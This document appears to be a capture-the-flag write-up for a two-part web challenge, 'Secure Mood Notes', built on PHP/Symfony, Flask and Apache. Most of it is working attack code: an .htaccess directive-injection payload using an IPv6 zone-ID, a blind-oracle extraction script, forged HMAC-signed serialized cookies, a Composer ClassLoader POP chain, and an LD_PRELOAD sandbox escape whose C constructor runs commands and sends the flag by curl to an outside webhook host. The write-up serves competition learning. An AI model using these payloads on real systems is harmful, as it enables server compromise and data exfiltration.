pwneglyph logo
web web-server php apache htaccess-injection flask ipv6-zone-id mod-headers-expr blind-oracle snuffleupagus hmac-forgery phar-deserialization pop-chain composer-classloader file-inclusion ld-preload mail-sendmail sandbox-escape rce

Inject Apache directives into a .htaccess via an IPv6 zone-ID, build a mod_headers expr oracle to leak the Snuffleupagus secret (part 1), then forge signed PHP cookies, chain a Composer ClassLoader gadget to file inclusion, smuggle an ELF as a note, and escape Snuffleupagus via LD_PRELOAD + mail() (part 2).

Secure Mood Notes (1 & 2) — .htaccess injection oracle → forged cookie → LD_PRELOAD RCE

CTF: FCSC 2026 · Category: Web (server-side) · Author: Worty · Difficulty: ★★★ (3 stars, 12 solves)

A two-part challenge sharing one container: a note-taking app where notes have "moods" (angry / chill / normal) that transform their content. Part 1's flag is hidden in the Snuffleupagus config; part 2 needs full RCE.

Infrastructure

One Docker container, two apps behind Apache:

  • PHP / Symfony on / — note creation, storage, rendering.
  • Flask on /share/ (proxied from :5000) — note sharing.

Notes live entirely client-side in a signed notes_data cookie (base64 serialized PHP Notes object). Snuffleupagus is loaded as a PHP extension and enforces runtime rules. A tmpfs is mounted at /var/www/html/public/shared_notes with the exec flag — foreshadowing part 2.

The Symfony app

Client data is XOR-"encrypted" with a 16-byte key from the client_key cookie:

// Utils.php
private static function decryptParam(string $data, string $key): string {
    $out = '';
    for ($i = 0; $i < strlen($data); $i++)
        $out .= $data[$i] ^ $key[$i % strlen($key)];
    return $out;
}

The Notes class applies a filter mode through array_map() over a public filters property — so a deserialized object can put any callable there:

// Notes.php
public function filter(string $filter) {
    return array_map($this->filters[$filter], $this->all_notes);
}

The Flask app

/share/create validates inputs, fetches the note from the PHP app, and writes two files into a new UUID folder — a note file and a .htaccess:

with open(f"{share_folder}/shared.mood.notes","w",encoding="latin-1") as fd:
    fd.write(f"{resp['title']}\n{resp['content']}")          # latin-1 — keeps raw bytes intact
with open(f"{share_folder}/.htaccess","w") as fd:
    fd.write(HT_ACCESS_CONTENT % (note_filename, allowed_ip))
HT_ACCESS_CONTENT="""<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename %s
Require ip %s
Options -ExecCGI
php_flag engine off
</FilesMatch>"""

name is sanitized ([./;!\n\r"<>()\{\}\[\]] stripped, ≤10 chars) and allowed_ip is validated by Python's ip_address(). Both are injectable in subtle ways.

Snuffleupagus rules (default.rules)

sp.global.secret_key("FCSC{FAKE_FLAG1}");          // <-- part 1 flag
sp.unserialize_hmac.enable();                       // every unserialize needs a valid HMAC tag
sp.disable_function.function("system").drop();      // + exec/shell_exec/proc_open/popen/passthru...
sp.disable_function.function("mail").param("additional_params").value_r("\\-").drop();
sp.disable_function.function("file_put_contents").drop();   // + rename/copy/move_uploaded_file...

Useful environment facts: /tmp is 700 (no www-data temp writes), AllowOverride All on the webroot (so .htaccess is fully parsed), /dev/shm is read-only — the only www-data-writable spot is /run/apache2/socks.


Part 1 — Leaking the Snuffleupagus secret

Injecting into the .htaccess

IPv6 zone-ID bypass. Python's ip_address() accepts an IPv6 zone ID (everything after %), so this passes validation while embedding newlines that become real Apache directives:

fe80::1%\nRequire all granted\nHeader set Injected yes

Neutralizing the original Require ip. Apache treats a trailing \ as line continuation. Setting name to '\ merges the Header set Mood-Filename line with the following Require ip line, swallowing the access restriction so the note is publicly readable:

Header set Mood-Filename '\
Require ip 127.0.0.1          # merged into the Header line above  restriction gone

The mod_headers expr oracle

Header set supports "expr=<bool>". When the boolean is true the header is emitted, otherwise omitted — a perfect blind oracle. In boolean context, file() and req() use normal call syntax (we can't use %{...} because % breaks ip_address() parsing). Inject via allowed_ip:

fe80::1%\nRequire all granted\nHeader set Matched yes "expr=file(req('Path')) =~ m#FCSC\{#"

Resulting .htaccess:

<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename '\
Require ip fe80::1%'
Require all granted
Header set Matched yes "expr=file(req('Path')) =~ m#FCSC\{#"
Options -ExecCGI
php_flag engine off
</FilesMatch>

Now fetch the note with a chosen Path header; if the regex matches the file's content, the response carries Matched: yes:

curl -i -H 'Path: /opt/default.rules' \
  http://localhost:8000/shared_notes/<uuid>/shared.mood.notes

The secret is hex, so brute-force position by position over 0123456789abcdef:

m#FCSC\{9#  -> Matched: yes -> '9'
m#FCSC\{9c# -> Matched: yes -> 'c'
...

Extraction script

A fresh share is created per character (the payload is baked into .htaccess at creation):

import requests
URL = "https://secure-mood-notes.fcsc.fr/"
CHARSET = "0123456789abcdef"
CLIENT_KEY = "mfC0le1GPWwAM%2BcSTzLT%2FA%3D%3D"
NOTES_DATA = "..."

def check_char(cand):
    allowed_ip = ("fe80::1%\n"
        "Require all granted\n"
        f'Header set Matched yes "expr=file(req(\'Path\')) =~ m#FCSC\\{{{cand}#"')
    payload = {"note_id": "0", "allowed_ip": allowed_ip, "name": "'\\"}
    r = requests.post(URL + "share/create", json=payload,
        headers={"Cookie": f"client_key={CLIENT_KEY}; notes_data={NOTES_DATA}"})
    share_path = r.json()["path"]
    rr = requests.get(URL + share_path, headers={"Path": "/opt/default.rules"})
    return rr.headers.get("Matched") == "yes"

flag = ""
for _ in range(64):
    for c in CHARSET:
        if check_char(flag + c):
            flag += c; print("FCSC{" + flag + "}"); break
    else:
        break

Part 1 flag: FCSC{9c3c34c030a9d6d8}


Part 2 — Escaping the cage

Forging signed serialized cookies

Snuffleupagus appends the HMAC-SHA256 hex digest (64 chars) directly after the serialized payload, no separator. With the key from part 1 we forge any object:

import hmac, hashlib, base64, urllib.parse
SECRET_KEY = b"FCSC{9c3c34c030a9d6d8}"
SERIALIZED = rb'...'
tag = hmac.new(SECRET_KEY, SERIALIZED, hashlib.sha256).hexdigest().encode()
print(urllib.parse.quote(base64.b64encode(SERIALIZED + tag).decode(), safe=''))

Sanity check — call phpinfo() through array_map() by abusing the public filters property:

O:15:"App\Model\Notes":2:{
  s:9:"all_notes";a:1:{i:0;i:1;}
  s:7:"filters";a:1:{s:3:"cnf";s:7:"phpinfo";}
}

/api/notes?filter=cnf then runs array_map("phpinfo", [1])phpinfo(1).

POP chain → arbitrary file inclusion

array_map($callable, $arr) isn't enough freedom. Composer's ClassLoader has a scope-isolated include closure and a findFile() that resolves the classMap array before any filesystem lookup:

self::$includeFile = \Closure::bind(static function($file) { include $file; }, null, null);
// loadClass($class): if ($file = $this->findFile($class)) { $inc = self::$includeFile; $inc($file); }

So craft a ClassLoader with classMap["CNF"] = "/path/to/shared.mood.notes" and call loadClass("CNF")include of a file we control (any shared note). Private props need null-byte prefixes, so build the cookie in PHP:

require __DIR__ . '/.../vendor/autoload.php';
use App\Model\Notes;
use Composer\Autoload\ClassLoader;

$secret = 'FCSC{9c3c34c030a9d6d8}';
$loader = new ClassLoader();
$loader->addClassMap(['CNF' => '/path/to/shared.mood.notes']);

$notes = new Notes([]);
$notes->all_notes = ['CNF'];
$notes->filters   = ['incl' => [$loader, 'loadClass']];

$ser = serialize($notes);
echo urlencode(base64_encode($ser . hash_hmac('sha256', $ser, $secret))), PHP_EOL;

/api/notes?filter=incl now includes our note file → arbitrary PHP execution.

Smuggling an ELF as a note

The Flask app writes {title}\n{content} in latin-1, so raw ELF bytes survive on disk (non-latin-1 encodings would prefix non-ASCII with \xc2 and corrupt it). Flask inserts \n between title and content, so split the ELF at its first 0x0a:

payload = (out / "hook.so").read_bytes()
split = payload.find(b"\n")
title   = payload[:split].decode("latin-1").encode("utf-8")
content = payload[split+1:].decode("latin-1").encode("utf-8")

A HAProxy on the remote rejected requests >16 KB, so the .so had to be minimized with aggressive gcc flags + objcopy/strip (-Os -s -fno-asynchronous-unwind-tables -fno-exceptions -fvisibility=hidden -Wl,--gc-sections -Wl,--build-id=none -Wl,-z,norelro, then strip .note.gnu.property/.comment). (upx would have been easier.)

Escaping Snuffleupagus via LD_PRELOAD + mail()

Snuffleupagus blocks direct exec functions but leaves putenv() and symlink() alone, and only drops mail()'s additional_params. We can write to /run/apache2/socks but not shared_notes/, and our ELF is named shared.mood.notes — so symlink a hook.so to it. mail() internally execve("/usr/bin/sendmail", ...); even though sendmail is absent, the child inherits LD_PRELOAD and runs our constructor before failing — entirely outside the Snuffleupagus VM:

symlink('/path/to/shared.mood.notes', '/run/apache2/socks/hook.so');
putenv('LD_PRELOAD=/run/apache2/socks/hook.so');
mail('x', 'x', 'x');
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__((constructor))
static void init(void) {
    unsetenv("LD_PRELOAD");
    system("/getflag please give me the flag | curl -sG --data-urlencode 'flag@-' https://webhook.site/...");
    _exit(0);
}

Constructor runs as the Apache user, outside Snuffleupagus → RCE and flag.

Part 2 flag: FCSC{5c3fa80edf2ea136b4ea966297e56c2639d9d7825371d01858436bcb22ff0426}

Takeaways (generalized techniques)

  • ip_address() accepts IPv6 zone IDs (%...) — a validation-bypass vector for newline/directive injection into files like .htaccess.
  • Apache line-continuation (\ at EOL) lets you merge/neutralize adjacent directives; Header set ... "expr=..." is a ready-made blind oracle (file(), req() in boolean context).
  • A signed/HMAC'd serialized blob is game-over once the key leaks: forge objects and abuse public callable properties (array_map) → escalate via a known POP gadget (Composer\Autoload\ClassLoader classMap → include).
  • latin-1 file writes preserve arbitrary bytes → smuggle binaries through "text" fields.
  • When exec functions are dropped but putenv/symlink/mail survive: LD_PRELOAD a .so and trigger any execve (e.g. mail() → sendmail) so your constructor runs outside the PHP sandbox.

Sources & references